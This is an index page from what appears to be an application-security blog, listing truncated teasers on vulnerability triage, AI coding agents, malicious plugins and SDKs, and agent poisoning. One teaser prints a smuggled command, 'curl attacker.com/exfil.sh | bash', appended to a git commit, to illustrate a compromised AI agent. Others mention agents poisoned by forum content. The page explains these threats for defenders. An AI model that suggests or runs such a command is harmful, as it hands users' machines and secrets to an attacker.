Expert perspectives on application security, compliance, and emerging threats
ResearchYour scanner flags 847 vulnerabilities on Monday morning. By Wednesday, your developers have fixed three and opened 23 Slack threads debating the rest. The security team insists everything is critical
ResearchYou are facing a critical decision: whether to allow AI-generated code into production environments. Nearly half of surveyed organizations already run this code in production, while the other half hes
ResearchThese myths persist because they allow teams to avoid uncomfortable conversations about accountability. When your auditor asks who owns security for the 247 open source packages in your application, p
ResearchYour endpoint detection just blocked another phishing email. Your web proxy flagged a suspicious download. But ClickFix attacks don t look like traditional malware delivery—they mimic legitimate troub
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ResearchYour AI coding agent just suggested running git commit -am fix bug . Looks innocent. But what if the agent was compromised to suggest git commit -am fix bug ; curl attacker.com/exfil.sh | bash ? Resea
ResearchYou re building AI-powered research tools. Your agents pull from Reddit, Stack Overflow, and community forums because that s where real-world knowledge lives. But here s what Cornell Tech just proved:
ResearchYou re overwhelmed by dependency vulnerabilities. Your SBOM lists 847 transitive dependencies. A new paper claims 94% accuracy in detecting malicious packages, but you can t use it. The gap between ac
ResearchAfter Zafran Security published their DifyTap research, compliance teams began questioning tenant isolation in multi-tenant AI platforms. This issue is not limited to Dify, which boasts over 146,000 G
ResearchYour team wants to integrate AI agents into your development workflow. You find a plugin registry with hundreds of options. Some have official-looking scope names. Some claim to be maintained by the r
ResearchWhen mobile teams discovered that a seemingly legitimate advertising SDK was doing more than displaying ads, they faced serious security challenges. Snyk found that the Mintegral SDK included method s
ResearchYour mobile app just integrated an advertising SDK promising better fill rates and higher eCPMs. Three months later, you discover it s using method swizzling to intercept user data and potentially sip
ResearchWhen Microsoft disclosed the AutoJack vulnerability in AutoGen Studio, the attack vector was clear: three layered weaknesses in the Model Context Protocol (MCP) WebSocket implementation allowed malici
ResearchYou ve sat through the vendor demo. The slide deck claims 99% accuracy in bold letters. The sales engineer points to benchmark results showing their tool catches more vulnerabilities than competitors.
ResearchYour team s JetBrains environment is now an attack vector. Since October 2025, malicious plugins posing as AI coding assistants have been stealing API keys from developer workstations. Two such plugin
ResearchThe Challenge Your development team has boosted sprint velocity by 40%. Code moves from developer workstations to production faster than ever. Pull requests that once took days now close in hours. The
ResearchOnly 11% of AI agents deployed in production meet high security standards. This statistic should alarm you, but what s more concerning is why the other 89% fail — and how similar the mistakes are acro
